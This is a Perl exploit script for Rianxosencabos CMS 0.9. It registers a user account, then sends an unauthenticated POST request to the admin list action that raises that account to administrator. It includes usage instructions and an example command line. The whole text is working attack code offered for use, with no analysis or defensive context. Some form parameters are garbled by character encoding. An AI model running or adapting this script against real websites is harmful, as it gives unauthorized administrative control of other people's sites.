#!/usr/bin/perl -w # Rianxosencabos CMS 0.9 Remote Add Admin Exploit # Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz # written by ka0x # D.O.M Labs - Security Researchers # - www.domlabs.org - use LWP::UserAgent; my ($host, $login, $pass, $mail, $user_id) = @ARGV ; unless($ARGV[4]){ print "[*] usage: perl $0 \n"; print "[*] ex: perl $0 http://localhost/ ka0x 12345 ka0x01[at]gmail.com 2\n"; exit 1; } if ($host !~ /^http:/){ $host = 'http://'.$host; } my $ua = LWP::UserAgent->new() or die ; $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ; $ua->timeout(10) ; sub __CREATE { my $req = HTTP::Request->new(POST => $host."index.php?s=usuarios&accion=registrar") ; $req->content_type('application/x-www-form-urlencoded') ; $req->content("reg_login=".$login."®_pass=".$pass."®_repass=".$pass."®_nombre=".$login."®_mail=".$mail."&submit_register=Rexistrar") ; my $res = $ua->request($req) ; my $location = $res->header('Location') ; if ($location =~ /Usuario creado/i) { print "[+] user added: ".$login ; print "\n[+] password: ".$pass, "\n" ; } else{ print "[-] Exploit Failed!\n" ; } } &__CREATE ; sub __ADMIN { my $req = HTTP::Request->new(POST => $host."?s=admin&accion=lista") ; $req->content_type('application/x-www-form-urlencoded') ; $req->content($user_id."=0&inputOculto=".$user_id) ; $ua->request($req) ; } &__ADMIN ; __END__